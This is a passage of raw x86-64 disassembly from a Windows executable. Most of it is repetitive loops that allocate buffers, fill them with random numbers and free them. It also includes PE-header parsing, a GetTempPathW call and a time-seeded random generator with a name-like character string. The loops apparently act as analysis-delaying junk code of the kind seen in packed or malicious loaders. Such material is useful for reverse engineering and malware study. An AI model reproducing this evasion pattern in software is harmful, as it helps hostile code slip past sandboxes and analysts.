jge 0x14000a4f4
call sub.msvcrt.dll_rand
mov ecx, 0x2147
cdq
idiv ecx
mov rax, qword [rsp + 0xcce98]
movsxd rcx, dword [rsp + 0xcce94]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1d93
cdq
idiv ecx
add edx, dword [rsp + 0xccea8]
mov dword [rsp + 0xccea8], edx
mov eax, dword [rsp + 0xcce94]
add eax, 1
mov dword [rsp + 0xcce94], eax
jmp 0x14000a492
mov rax, qword [rsp + 0xcce98]
mov qword [rsp + 0x3820], rax
cmp rax, 0
je 0x14000a51b
mov rcx, qword [rsp + 0x3820]
call sym.operator_delete_void_
jmp 0x14000a520
mov eax, dword [rsp + 0xccea4]
add eax, 1
mov dword [rsp + 0xccea4], eax
jmp 0x14000a464
mov rax, qword [rsp + 0xccf98]
mov rcx, qword [rsp + 0xccf98]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
add rax, 0x108
mov qword [rsp + 0xcce88], rax
cmp qword [rsp + 0xccf98], 0
je 0x14000a588
cmp qword [rsp + 0xccf90], 0
je 0x14000a588
cmp qword [rsp + 0xcce88], 0
jne 0x14000a595
mov byte [rsp + 0xcd0af], 0
jmp 0x140041671
movss xmm0, dword [0x1400ec814]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [0x1400ec810]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [rsp + 0xcce84]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec808]
ucomisd xmm0, xmm1
jne 0x14000a6f3
jp 0x14000a6f3
mov dword [rsp + 0xcce80], 0
cmp dword [rsp + 0xcce80], 0xad8
jge 0x14000a6d1
mov ecx, 0xbadc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce78], rax
mov dword [rsp + 0xcce74], 0
cmp dword [rsp + 0xcce74], 0x289
jge 0x14000a68f
call sub.msvcrt.dll_rand
mov ecx, 0x35a3
cdq
idiv ecx
mov rax, qword [rsp + 0xcce78]
movsxd rcx, dword [rsp + 0xcce74]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3b0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcce84]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcce84], xmm0
mov eax, dword [rsp + 0xcce74]
add eax, 1
mov dword [rsp + 0xcce74], eax
jmp 0x14000a615
mov rax, qword [rsp + 0xcce78]
mov qword [rsp + 0x3818], rax
cmp rax, 0
je 0x14000a6b6
mov rcx, qword [rsp + 0x3818]
call sym.operator_delete_void_
jmp 0x14000a6bb
mov eax, dword [rsp + 0xcce80]
add eax, 1
mov dword [rsp + 0xcce80], eax
jmp 0x14000a5e7
movss xmm0, dword [0x1400ec81c]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [0x1400ec818]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [rsp + 0xcce84]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec820]
ucomisd xmm0, xmm1
jne 0x14000a82f
jp 0x14000a82f
mov dword [rsp + 0xcce70], 0
cmp dword [rsp + 0xcce70], 0xf68
jge 0x14000a80d
mov ecx, 0x12d00
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce68], rax
mov dword [rsp + 0xcce64], 0
cmp dword [rsp + 0xcce64], 0x30a
jge 0x14000a7cb
call sub.msvcrt.dll_rand
mov ecx, 0x1401
cdq
idiv ecx
mov rax, qword [rsp + 0xcce68]
movsxd rcx, dword [rsp + 0xcce64]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3a8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcce84]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcce84], xmm0
mov eax, dword [rsp + 0xcce64]
add eax, 1
mov dword [rsp + 0xcce64], eax
jmp 0x14000a751
mov rax, qword [rsp + 0xcce68]
mov qword [rsp + 0x3810], rax
cmp rax, 0
je 0x14000a7f2
mov rcx, qword [rsp + 0x3810]
call sym.operator_delete_void_
jmp 0x14000a7f7
mov eax, dword [rsp + 0xcce70]
add eax, 1
mov dword [rsp + 0xcce70], eax
jmp 0x14000a723
movss xmm0, dword [0x1400ec82c]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [0x1400ec828]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [rsp + 0xcce84]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec830]
ucomisd xmm0, xmm1
jne 0x14000a96b
jp 0x14000a96b
mov dword [rsp + 0xcce60], 0
cmp dword [rsp + 0xcce60], 0xc11
jge 0x14000a949
mov ecx, 0x232e8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce58], rax
mov dword [rsp + 0xcce54], 0
cmp dword [rsp + 0xcce54], 0x26d
jge 0x14000a907
call sub.msvcrt.dll_rand
mov ecx, 0x1bfe
cdq
idiv ecx
mov rax, qword [rsp + 0xcce58]
movsxd rcx, dword [rsp + 0xcce54]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3a0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcce84]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcce84], xmm0
mov eax, dword [rsp + 0xcce54]
add eax, 1
mov dword [rsp + 0xcce54], eax
jmp 0x14000a88d
mov rax, qword [rsp + 0xcce58]
mov qword [rsp + 0x3808], rax
cmp rax, 0
je 0x14000a92e
mov rcx, qword [rsp + 0x3808]
call sym.operator_delete_void_
jmp 0x14000a933
mov eax, dword [rsp + 0xcce60]
add eax, 1
mov dword [rsp + 0xcce60], eax
jmp 0x14000a85f
movss xmm0, dword [0x1400ec83c]
movss dword [rsp + 0xcce84], xmm0
movss xmm0, dword [0x1400ec838]
movss dword [rsp + 0xcce84], xmm0
mov dword [rsp + 0xcce50], 0x3472
mov dword [rsp + 0xcce4c], 0
cmp dword [rsp + 0xcce4c], 0x499
jge 0x14000aa53
mov ecx, 0x1b8f8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce40], rax
mov dword [rsp + 0xcce3c], 0
cmp dword [rsp + 0xcce3c], 0x84
jge 0x14000aa11
call sub.msvcrt.dll_rand
mov ecx, 0x1e7a
cdq
idiv ecx
mov rax, qword [rsp + 0xcce40]
movsxd rcx, dword [rsp + 0xcce3c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x29a6
cdq
idiv ecx
add edx, dword [rsp + 0xcce50]
mov dword [rsp + 0xcce50], edx
mov eax, dword [rsp + 0xcce3c]
add eax, 1
mov dword [rsp + 0xcce3c], eax
jmp 0x14000a9af
mov rax, qword [rsp + 0xcce40]
mov qword [rsp + 0x3800], rax
cmp rax, 0
je 0x14000aa38
mov rcx, qword [rsp + 0x3800]
call sym.operator_delete_void_
jmp 0x14000aa3d
mov eax, dword [rsp + 0xcce4c]
add eax, 1
mov dword [rsp + 0xcce4c], eax
jmp 0x14000a981
mov dword [rsp + 0xcce38], 0x6acf
mov dword [rsp + 0xcce34], 0
cmp dword [rsp + 0xcce34], 0x5e0
jge 0x14000ab3b
mov ecx, 0xeb4c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce28], rax
mov dword [rsp + 0xcce24], 0
cmp dword [rsp + 0xcce24], 0x87
jge 0x14000aaf9
call sub.msvcrt.dll_rand
mov ecx, 0x2733
cdq
idiv ecx
mov rax, qword [rsp + 0xcce28]
movsxd rcx, dword [rsp + 0xcce24]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x343b
cdq
idiv ecx
add edx, dword [rsp + 0xcce38]
mov dword [rsp + 0xcce38], edx
mov eax, dword [rsp + 0xcce24]
add eax, 1
mov dword [rsp + 0xcce24], eax
jmp 0x14000aa97
mov rax, qword [rsp + 0xcce28]
mov qword [rsp + 0x37f8], rax
cmp rax, 0
je 0x14000ab20
mov rcx, qword [rsp + 0x37f8]
call sym.operator_delete_void_
jmp 0x14000ab25
mov eax, dword [rsp + 0xcce34]
add eax, 1
mov dword [rsp + 0xcce34], eax
jmp 0x14000aa69
mov dword [rsp + 0xcce20], 0x5d68
mov dword [rsp + 0xcce1c], 0
cmp dword [rsp + 0xcce1c], 0x6fe
jge 0x14000ac23
mov ecx, 0x16654
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce10], rax
mov dword [rsp + 0xcce0c], 0
cmp dword [rsp + 0xcce0c], 0x1c5
jge 0x14000abe1
call sub.msvcrt.dll_rand
mov ecx, 0x15ca
cdq
idiv ecx
mov rax, qword [rsp + 0xcce10]
movsxd rcx, dword [rsp + 0xcce0c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3915
cdq
idiv ecx
add edx, dword [rsp + 0xcce20]
mov dword [rsp + 0xcce20], edx
mov eax, dword [rsp + 0xcce0c]
add eax, 1
mov dword [rsp + 0xcce0c], eax
jmp 0x14000ab7f
mov rax, qword [rsp + 0xcce10]
mov qword [rsp + 0x37f0], rax
cmp rax, 0
je 0x14000ac08
mov rcx, qword [rsp + 0x37f0]
call sym.operator_delete_void_
jmp 0x14000ac0d
mov eax, dword [rsp + 0xcce1c]
add eax, 1
mov dword [rsp + 0xcce1c], eax
jmp 0x14000ab51
mov dword [rsp + 0xcce08], 0x23ad
mov dword [rsp + 0xcce04], 0
cmp dword [rsp + 0xcce04], 0x6b7
jge 0x14000ad0b
mov ecx, 0x248d0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccdf8], rax
mov dword [rsp + 0xccdf4], 0
cmp dword [rsp + 0xccdf4], 0xcd
jge 0x14000acc9
call sub.msvcrt.dll_rand
mov ecx, 0x331a
cdq
idiv ecx
mov rax, qword [rsp + 0xccdf8]
movsxd rcx, dword [rsp + 0xccdf4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x24b6
cdq
idiv ecx
add edx, dword [rsp + 0xcce08]
mov dword [rsp + 0xcce08], edx
mov eax, dword [rsp + 0xccdf4]
add eax, 1
mov dword [rsp + 0xccdf4], eax
jmp 0x14000ac67
mov rax, qword [rsp + 0xccdf8]
mov qword [rsp + 0x37e8], rax
cmp rax, 0
je 0x14000acf0
mov rcx, qword [rsp + 0x37e8]
call sym.operator_delete_void_
jmp 0x14000acf5
mov eax, dword [rsp + 0xcce04]
add eax, 1
mov dword [rsp + 0xcce04], eax
jmp 0x14000ac39
mov dword [rsp + 0xccdf0], 0x5afc
mov dword [rsp + 0xccdec], 0
cmp dword [rsp + 0xccdec], 0x702
jge 0x14000adf3
mov ecx, 0xd728
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccde0], rax
mov dword [rsp + 0xccddc], 0
cmp dword [rsp + 0xccddc], 0x193
jge 0x14000adb1
call sub.msvcrt.dll_rand
mov ecx, 0x1ad5
cdq
idiv ecx
mov rax, qword [rsp + 0xccde0]
movsxd rcx, dword [rsp + 0xccddc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x252b
cdq
idiv ecx
add edx, dword [rsp + 0xccdf0]
mov dword [rsp + 0xccdf0], edx
mov eax, dword [rsp + 0xccddc]
add eax, 1
mov dword [rsp + 0xccddc], eax
jmp 0x14000ad4f
mov rax, qword [rsp + 0xccde0]
mov qword [rsp + 0x37e0], rax
cmp rax, 0
je 0x14000add8
mov rcx, qword [rsp + 0x37e0]
call sym.operator_delete_void_
jmp 0x14000addd
mov eax, dword [rsp + 0xccdec]
add eax, 1
mov dword [rsp + 0xccdec], eax
jmp 0x14000ad21
mov dword [rsp + 0xccbcc], 0x48c9
mov dword [rsp + 0xccbc8], 0
cmp dword [rsp + 0xccbc8], 0x711
jge 0x14000aedb
mov ecx, 0x245e4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccbc0], rax
mov dword [rsp + 0xccbbc], 0
cmp dword [rsp + 0xccbbc], 0x86
jge 0x14000ae99
call sub.msvcrt.dll_rand
mov ecx, 0x2079
cdq
idiv ecx
mov rax, qword [rsp + 0xccbc0]
movsxd rcx, dword [rsp + 0xccbbc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x14ab
cdq
idiv ecx
add edx, dword [rsp + 0xccbcc]
mov dword [rsp + 0xccbcc], edx
mov eax, dword [rsp + 0xccbbc]
add eax, 1
mov dword [rsp + 0xccbbc], eax
jmp 0x14000ae37
mov rax, qword [rsp + 0xccbc0]
mov qword [rsp + 0x37d8], rax
cmp rax, 0
je 0x14000aec0
mov rcx, qword [rsp + 0x37d8]
call sym.operator_delete_void_
jmp 0x14000aec5
mov eax, dword [rsp + 0xccbc8]
add eax, 1
mov dword [rsp + 0xccbc8], eax
jmp 0x14000ae09
mov dword [rsp + 0xccbb8], 0x6967
mov dword [rsp + 0xccbb4], 0
cmp dword [rsp + 0xccbb4], 0x411
jge 0x14000afc3
mov ecx, 0x12cb8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccba8], rax
mov dword [rsp + 0xccba4], 0
cmp dword [rsp + 0xccba4], 0x12b
jge 0x14000af81
call sub.msvcrt.dll_rand
mov ecx, 0x32cf
cdq
idiv ecx
mov rax, qword [rsp + 0xccba8]
movsxd rcx, dword [rsp + 0xccba4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x369d
cdq
idiv ecx
add edx, dword [rsp + 0xccbb8]
mov dword [rsp + 0xccbb8], edx
mov eax, dword [rsp + 0xccba4]
add eax, 1
mov dword [rsp + 0xccba4], eax
jmp 0x14000af1f
mov rax, qword [rsp + 0xccba8]
mov qword [rsp + 0x37d0], rax
cmp rax, 0
je 0x14000afa8
mov rcx, qword [rsp + 0x37d0]
call sym.operator_delete_void_
jmp 0x14000afad
mov eax, dword [rsp + 0xccbb4]
add eax, 1
mov dword [rsp + 0xccbb4], eax
jmp 0x14000aef1
mov dword [rsp + 0xccba0], 0x280a
mov dword [rsp + 0xccb9c], 0
cmp dword [rsp + 0xccb9c], 0x4b4
jge 0x14000b0ab
mov ecx, 0xe6a4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb90], rax
mov dword [rsp + 0xccb8c], 0
cmp dword [rsp + 0xccb8c], 0x1ab
jge 0x14000b069
call sub.msvcrt.dll_rand
mov ecx, 0x2145
cdq
idiv ecx
mov rax, qword [rsp + 0xccb90]
movsxd rcx, dword [rsp + 0xccb8c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x204c
cdq
idiv ecx
add edx, dword [rsp + 0xccba0]
mov dword [rsp + 0xccba0], edx
mov eax, dword [rsp + 0xccb8c]
add eax, 1
mov dword [rsp + 0xccb8c], eax
jmp 0x14000b007
mov rax, qword [rsp + 0xccb90]
mov qword [rsp + 0x37c8], rax
cmp rax, 0
je 0x14000b090
mov rcx, qword [rsp + 0x37c8]
call sym.operator_delete_void_
jmp 0x14000b095
mov eax, dword [rsp + 0xccb9c]
add eax, 1
mov dword [rsp + 0xccb9c], eax
jmp 0x14000afd9
mov dword [rsp + 0xccb88], 0x61a3
mov dword [rsp + 0xccb84], 0
cmp dword [rsp + 0xccb84], 0x4e6
jge 0x14000b193
mov ecx, 0x10230
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb78], rax
mov dword [rsp + 0xccb74], 0
cmp dword [rsp + 0xccb74], 0x16b
jge 0x14000b151
call sub.msvcrt.dll_rand
mov ecx, 0x1b94
cdq
idiv ecx
mov rax, qword [rsp + 0xccb78]
movsxd rcx, dword [rsp + 0xccb74]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x30d5
cdq
idiv ecx
add edx, dword [rsp + 0xccb88]
mov dword [rsp + 0xccb88], edx
mov eax, dword [rsp + 0xccb74]
add eax, 1
mov dword [rsp + 0xccb74], eax
jmp 0x14000b0ef
mov rax, qword [rsp + 0xccb78]
mov qword [rsp + 0x37c0], rax
cmp rax, 0
je 0x14000b178
mov rcx, qword [rsp + 0x37c0]
call sym.operator_delete_void_
jmp 0x14000b17d
mov eax, dword [rsp + 0xccb84]
add eax, 1
mov dword [rsp + 0xccb84], eax
jmp 0x14000b0c1
mov dword [rsp + 0xccb70], 0x7039
mov dword [rsp + 0xccb6c], 0
cmp dword [rsp + 0xccb6c], 0x5df
jge 0x14000b27b
mov ecx, 0xf5b4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb60], rax
mov dword [rsp + 0xccb5c], 0
cmp dword [rsp + 0xccb5c], 0x193
jge 0x14000b239
call sub.msvcrt.dll_rand
mov ecx, 0x1a05
cdq
idiv ecx
mov rax, qword [rsp + 0xccb60]
movsxd rcx, dword [rsp + 0xccb5c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x29d0
cdq
idiv ecx
add edx, dword [rsp + 0xccb70]
mov dword [rsp + 0xccb70], edx
mov eax, dword [rsp + 0xccb5c]
add eax, 1
mov dword [rsp + 0xccb5c], eax
jmp 0x14000b1d7
mov rax, qword [rsp + 0xccb60]
mov qword [rsp + 0x37b8], rax
cmp rax, 0
je 0x14000b260
mov rcx, qword [rsp + 0x37b8]
call sym.operator_delete_void_
jmp 0x14000b265
mov eax, dword [rsp + 0xccb6c]
add eax, 1
mov dword [rsp + 0xccb6c], eax
jmp 0x14000b1a9
lea rdx, [rsp + 0xccbd0]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0xccb58], 0x4531
mov dword [rsp + 0xccb54], 0
cmp dword [rsp + 0xccb54], 0x621
jge 0x14000b376
mov ecx, 0xe704
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb48], rax
mov dword [rsp + 0xccb44], 0
cmp dword [rsp + 0xccb44], 0x1c2
jge 0x14000b334
call sub.msvcrt.dll_rand
mov ecx, 0x352e
cdq
idiv ecx
mov rax, qword [rsp + 0xccb48]
movsxd rcx, dword [rsp + 0xccb44]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2d7f
cdq
idiv ecx
add edx, dword [rsp + 0xccb58]
mov dword [rsp + 0xccb58], edx
mov eax, dword [rsp + 0xccb44]
add eax, 1
mov dword [rsp + 0xccb44], eax
jmp 0x14000b2d2
mov rax, qword [rsp + 0xccb48]
mov qword [rsp + 0x37b0], rax
cmp rax, 0
je 0x14000b35b
mov rcx, qword [rsp + 0x37b0]
call sym.operator_delete_void_
jmp 0x14000b360
mov eax, dword [rsp + 0xccb54]
add eax, 1
mov dword [rsp + 0xccb54], eax
jmp 0x14000b2a4
mov dword [rsp + 0xccb40], 0x1833
mov dword [rsp + 0xccb3c], 0
cmp dword [rsp + 0xccb3c], 0x4f4
jge 0x14000b45e
mov ecx, 0xbb08
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb30], rax
mov dword [rsp + 0xccb2c], 0
cmp dword [rsp + 0xccb2c], 0x129
jge 0x14000b41c
call sub.msvcrt.dll_rand
mov ecx, 0x38dd
cdq
idiv ecx
mov rax, qword [rsp + 0xccb30]
movsxd rcx, dword [rsp + 0xccb2c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3816
cdq
idiv ecx
add edx, dword [rsp + 0xccb40]
mov dword [rsp + 0xccb40], edx
mov eax, dword [rsp + 0xccb2c]
add eax, 1
mov dword [rsp + 0xccb2c], eax
jmp 0x14000b3ba
mov rax, qword [rsp + 0xccb30]
mov qword [rsp + 0x37a8], rax
cmp rax, 0
je 0x14000b443
mov rcx, qword [rsp + 0x37a8]
call sym.operator_delete_void_
jmp 0x14000b448
mov eax, dword [rsp + 0xccb3c]
add eax, 1
mov dword [rsp + 0xccb3c], eax
jmp 0x14000b38c
mov dword [rsp + 0xccb28], 0x52a6
mov dword [rsp + 0xccb24], 0
cmp dword [rsp + 0xccb24], 0x6f8
jge 0x14000b546
mov ecx, 0x16dec
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb18], rax
mov dword [rsp + 0xccb14], 0
cmp dword [rsp + 0xccb14], 0x1d3
jge 0x14000b504
call sub.msvcrt.dll_rand
mov ecx, 0x38ce
cdq
idiv ecx
mov rax, qword [rsp + 0xccb18]
movsxd rcx, dword [rsp + 0xccb14]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x36a3
cdq
idiv ecx
add edx, dword [rsp + 0xccb28]
mov dword [rsp + 0xccb28], edx
mov eax, dword [rsp + 0xccb14]
add eax, 1
mov dword [rsp + 0xccb14], eax
jmp 0x14000b4a2
mov rax, qword [rsp + 0xccb18]
mov qword [rsp + 0x37a0], rax
cmp rax, 0
je 0x14000b52b
mov rcx, qword [rsp + 0x37a0]
call sym.operator_delete_void_
jmp 0x14000b530
mov eax, dword [rsp + 0xccb24]
add eax, 1
mov dword [rsp + 0xccb24], eax
jmp 0x14000b474
mov dword [rsp + 0xccb10], 0x310c
mov dword [rsp + 0xccb0c], 0
cmp dword [rsp + 0xccb0c], 0x711
jge 0x14000b62e
mov ecx, 0x24ee4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccb00], rax
mov dword [rsp + 0xccafc], 0
cmp dword [rsp + 0xccafc], 0xa0
jge 0x14000b5ec
call sub.msvcrt.dll_rand
mov ecx, 0x20ef
cdq
idiv ecx
mov rax, qword [rsp + 0xccb00]
movsxd rcx, dword [rsp + 0xccafc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2d72
cdq
idiv ecx
add edx, dword [rsp + 0xccb10]
mov dword [rsp + 0xccb10], edx
mov eax, dword [rsp + 0xccafc]
add eax, 1
mov dword [rsp + 0xccafc], eax
jmp 0x14000b58a
mov rax, qword [rsp + 0xccb00]
mov qword [rsp + 0x3798], rax
cmp rax, 0
je 0x14000b613
mov rcx, qword [rsp + 0x3798]
call sym.operator_delete_void_
jmp 0x14000b618
mov eax, dword [rsp + 0xccb0c]
add eax, 1
mov dword [rsp + 0xccb0c], eax
jmp 0x14000b55c
mov dword [rsp + 0xccaf8], 0x19d9
mov dword [rsp + 0xccaf4], 0
cmp dword [rsp + 0xccaf4], 0x7bb
jge 0x14000b716
mov ecx, 0x1ad70
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccae8], rax
mov dword [rsp + 0xccae4], 0
cmp dword [rsp + 0xccae4], 0xfd
jge 0x14000b6d4
call sub.msvcrt.dll_rand
mov ecx, 0x18aa
cdq
idiv ecx
mov rax, qword [rsp + 0xccae8]
movsxd rcx, dword [rsp + 0xccae4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2f74
cdq
idiv ecx
add edx, dword [rsp + 0xccaf8]
mov dword [rsp + 0xccaf8], edx
mov eax, dword [rsp + 0xccae4]
add eax, 1
mov dword [rsp + 0xccae4], eax
jmp 0x14000b672
mov rax, qword [rsp + 0xccae8]
mov qword [rsp + 0x3790], rax
cmp rax, 0
je 0x14000b6fb
mov rcx, qword [rsp + 0x3790]
call sym.operator_delete_void_
jmp 0x14000b700
mov eax, dword [rsp + 0xccaf4]
add eax, 1
mov dword [rsp + 0xccaf4], eax
jmp 0x14000b644
xor eax, eax
mov ecx, eax
call sym.time_long_long_
mov ecx, eax
call sub.msvcrt.dll_srand
mov rax, qword [str.QWEDFG345678zxcvbnw]
mov qword [rsp + 0xccad0], rax
mov rax, qword [0x1400ee998]
mov qword [rsp + 0xccad8], rax
mov ax, word [0x1400ee9a0]
mov word [rsp + 0xccae0], ax
movss xmm0, dword [0x1400ec84c]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [0x1400ec848]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec840]
ucomisd xmm0, xmm1
jne 0x14000b8b1
jp 0x14000b8b1
mov dword [rsp + 0xccac8], 0
cmp dword [rsp + 0xccac8], 0x117f
jge 0x14000b88f
mov ecx, 0x21138
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccac0], rax
mov dword [rsp + 0xccabc], 0
cmp dword [rsp + 0xccabc], 0x28b
jge 0x14000b84d
call sub.msvcrt.dll_rand
mov ecx, 0x3275
cdq
idiv ecx
mov rax, qword [rsp + 0xccac0]
movsxd rcx, dword [rsp + 0xccabc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee398]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccacc], xmm0
mov eax, dword [rsp + 0xccabc]
add eax, 1
mov dword [rsp + 0xccabc], eax
jmp 0x14000b7d3
mov rax, qword [rsp + 0xccac0]
mov qword [rsp + 0x3788], rax
cmp rax, 0
je 0x14000b874
mov rcx, qword [rsp + 0x3788]
call sym.operator_delete_void_
jmp 0x14000b879
mov eax, dword [rsp + 0xccac8]
add eax, 1
mov dword [rsp + 0xccac8], eax
jmp 0x14000b7a5
movss xmm0, dword [0x1400ec854]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [0x1400ec850]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec858]
ucomisd xmm0, xmm1
jne 0x14000b9ed
jp 0x14000b9ed
mov dword [rsp + 0xccab8], 0
cmp dword [rsp + 0xccab8], 0x131e
jge 0x14000b9cb
mov ecx, 0x25af8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccab0], rax
mov dword [rsp + 0xccaac], 0
cmp dword [rsp + 0xccaac], 0x2be
jge 0x14000b989
call sub.msvcrt.dll_rand
mov ecx, 0x2686
cdq
idiv ecx
mov rax, qword [rsp + 0xccab0]
movsxd rcx, dword [rsp + 0xccaac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee390]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccacc], xmm0
mov eax, dword [rsp + 0xccaac]
add eax, 1
mov dword [rsp + 0xccaac], eax
jmp 0x14000b90f
mov rax, qword [rsp + 0xccab0]
mov qword [rsp + 0x3780], rax
cmp rax, 0
je 0x14000b9b0
mov rcx, qword [rsp + 0x3780]
call sym.operator_delete_void_
jmp 0x14000b9b5
mov eax, dword [rsp + 0xccab8]
add eax, 1
mov dword [rsp + 0xccab8], eax
jmp 0x14000b8e1
movss xmm0, dword [0x1400ec864]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [0x1400ec860]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec868]
ucomisd xmm0, xmm1
jne 0x14000bb29
jp 0x14000bb29
mov dword [rsp + 0xccaa8], 0
cmp dword [rsp + 0xccaa8], 0x8ed
jge 0x14000bb07
mov ecx, 0x1db8c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccaa0], rax
mov dword [rsp + 0xcca9c], 0
cmp dword [rsp + 0xcca9c], 0x2d0
jge 0x14000bac5
call sub.msvcrt.dll_rand
mov ecx, 0x28bf
cdq
idiv ecx
mov rax, qword [rsp + 0xccaa0]
movsxd rcx, dword [rsp + 0xcca9c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee388]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccacc], xmm0
mov eax, dword [rsp + 0xcca9c]
add eax, 1
mov dword [rsp + 0xcca9c], eax
jmp 0x14000ba4b
mov rax, qword [rsp + 0xccaa0]
mov qword [rsp + 0x3778], rax
cmp rax, 0
je 0x14000baec
mov rcx, qword [rsp + 0x3778]
call sym.operator_delete_void_
jmp 0x14000baf1
mov eax, dword [rsp + 0xccaa8]
add eax, 1
mov dword [rsp + 0xccaa8], eax
jmp 0x14000ba1d
movss xmm0, dword [str.d7I]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [0x1400ec870]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec878]
ucomisd xmm0, xmm1
jne 0x14000bc65
jp 0x14000bc65
mov dword [rsp + 0xcca98], 0
cmp dword [rsp + 0xcca98], 0xdb0
jge 0x14000bc43
mov ecx, 0x1e074
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcca90], rax
mov dword [rsp + 0xcca8c], 0
cmp dword [rsp + 0xcca8c], 0x11c
jge 0x14000bc01
call sub.msvcrt.dll_rand
mov ecx, 0x15ac
cdq
idiv ecx
mov rax, qword [rsp + 0xcca90]
movsxd rcx, dword [rsp + 0xcca8c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
